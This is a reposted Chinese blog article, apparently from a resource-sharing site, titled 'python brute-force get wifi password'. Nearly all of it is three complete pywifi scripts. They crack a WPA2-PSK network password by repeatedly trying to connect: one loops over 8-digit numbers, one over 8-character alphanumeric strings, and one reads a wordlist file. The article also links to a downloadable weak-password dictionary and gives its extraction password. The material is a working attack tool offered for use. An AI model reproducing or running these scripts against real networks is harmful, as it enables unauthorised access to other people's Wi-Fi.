python暴力获取wifi密码



python暴力获取wifi密码

作者: cj13888

全网最全的网络资源分享网站

手机扫码查看

标签:

破解

特别声明:本站资源分别为免费资源、查看密码或解压密码资源、三个级别VIP会员资源。本站所有发布的内容都是安全,请放心下载!本站不可能所有资源都可以商业用途,原创或部分除外!如:商业用途请联系原作者购买正版。与本站无关!若侵犯到您的权益,请联系本站删除,我们将及时处理!

分享

利用python暴力获取wifi密码,这里只破解8位全数字密码:

import time#时间
import pywifi#导入wifi库
from pywifi import const#引用一些定义
class PoJie:
    def __init__(self):
        wifi=pywifi.PyWiFi()#抓取网卡接口
        self.iface=wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect()#测试链接断开所有链接
        time.sleep(1)#休眠1秒
        #测试网卡是否属于断开状态,
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
    def readPassWord(self):
        print('开始破解:')
        for i in range(100000000):
            myStr = str(i).zfill(8)
            bool1 = self.test_connect(myStr)
            if bool1:
                print('密码正确:', myStr)
                break
            else:
                print('密码错误:' + myStr)
        ent=time.time()
        print('用时%f分'%((ent - stm)/60))
    def test_connect(self,findStr):#测试链接
        profile=pywifi.Profile()#创建wifi链接文件
        profile.ssid='52pojie'#wifi名称
        profile.auth=const.AUTH_ALG_OPEN#网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher=const.CIPHER_TYPE_CCMP#加密单元
        profile.key=findStr#密码
        self.iface.remove_all_network_profiles()#删除所有的wifi文件
        tmp_profile=self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)#这里可以更改链接所需要的时间,单位是秒
        if self.iface.status()==const.IFACE_CONNECTED:#判断是否连接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect()#断开
        time.sleep(1)#这里可以更改断开链接所需要的时间,单位是秒
        #检查断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
        return isOK
stm=time.time()
PoJie().readPassWord()

更复杂的密码比如8位数字字母密码破解:

import time#时间
import pywifi#**wifi
from pywifi import const#引用一些定义
class PoJie:
    def __init__(self):
        wifi=pywifi.PyWiFi()#抓取网卡接口
        self.iface=wifi.interfaces()[0]#抓取第一个无线网卡
        self.iface.disconnect()#测试链接断开所有链接
        time.sleep(1)#休眠1秒
        #测试网卡是否属于断开状态,
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
    def readPassWord(self):
        str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'#这里加上你想要的字符
        print('开始破解:')
        for a in range(len(str)):
            for b in range(len(str)):
                for c in range(len(str)):
                    for d in range(len(str)):
                        for e in range(len(str)):
                            for f in range(len(str)):
                                for g in range(len(str)):
                                    for h in range(len(str)):
                                        myStr = str[a] + str[b] + str[c] + str[d] + str[e] + str[f] + str[g] + str[h]# 生成8位数字字母密码,通过增加/删除for语句并且在这句后面加上/删除相应的str来自定义密码位数
                                        bool1 = self.test_connect(myStr)
                                        if bool1:
                                            print('密码正确:', myStr)
                                            ent=time.time()
                                            print('破解成功!用时%f分'%((ent - stm)/60))
                                            return
                                        else:
                                            print('密码错误:' + myStr)
        ent=time.time()
        print('破解失败,用时%f分'%((ent - stm)/60))
    def test_connect(self,findStr):#测试链接
        profile=pywifi.Profile()#创建wifi链接文件
        profile.ssid='52pojie'#wifi名称
        profile.auth=const.AUTH_ALG_OPEN#网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher=const.CIPHER_TYPE_CCMP#加密单元
        profile.key=findStr#密码
        self.iface.remove_all_network_profiles()#删除所有的wifi文件
        tmp_profile=self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)#这里可以更改链接所需要的时间,单位是秒
        if self.iface.status()==const.IFACE_CONNECTED:#判断是否连接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect()#断开
        time.sleep(1)#这里可以更改断开链接所需要的时间,单位是秒
        #检查断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
        return isOK
stm=time.time()
PoJie().readPassWord()

二、生成密码本,然后破解:
生成密码本见帖子:https://www.52pojie.cn/forum.php ... &extra=#pid34029895
密码本路径在path='password.txt'这里自定义,如果不修改密码本必须和py文件在同一目录:

import time#时间
import pywifi#**wifi
from pywifi import const#引用一些定义
class PoJie:
    def __init__(self,path):
        self.file=open(path,'r',errors='ignore')
        wifi=pywifi.PyWiFi()#抓取网卡接口
        self.iface=wifi.interfaces()[0]#抓取第一个无线网卡
        self.iface.disconnect()#测试链接断开所有链接
        time.sleep(1)#休眠1秒
        #测试网卡是否属于断开状态,
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
    def readPassWord(self):
        print('开始破解:')
        for myStr in self.file:
            myStr = myStr.replace('\n', '')
            bool1=self.test_connect(myStr)
            if bool1:
                print('密码正确:',myStr)
                break
            else:
                print('密码错误:'+myStr)
        ent=time.time()
        print('用时%f分'%((ent - stm)/60))
    def test_connect(self,findStr):#测试链接
        profile=pywifi.Profile()#创建wifi链接文件
        profile.ssid='52pojie'#wifi名称
        profile.auth=const.AUTH_ALG_OPEN#网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher=const.CIPHER_TYPE_CCMP#加密单元
        profile.key=findStr#密码
        self.iface.remove_all_network_profiles()#删除所有的wifi文件
        tmp_profile=self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)#这里可以更改链接所需要的时间,单位是秒
        if self.iface.status()==const.IFACE_CONNECTED:#判断是否连接上
            isOK=True
        else:
            isOK=False
        self.iface.disconnect()#断开
        time.sleep(1)#这里可以更改断开链接所需要的时间,单位是秒
        #检查断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]
        return isOK
    def __del__(self):
        self.file.close()
path='password.txt'
stm=time.time()
PoJie(path).readPassWord()

最后附上弱密码本(解压密码:52pojie),链接:https://www.lanzoux.com/b01hlwsdi密码:W4mT

分享到:
打赏
未经允许不得转载:

作者: cj13888, 转载或复制请以 超链接形式 并注明出处 易启发资源网
原文地址: 《python暴力获取wifi密码》 发布于2020-10-15

评论


切换注册

登录

忘记密码?

您也可以使用第三方帐号快捷登录

切换登录

注册

python暴力获取wifi密码

长按图片转发给朋友

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏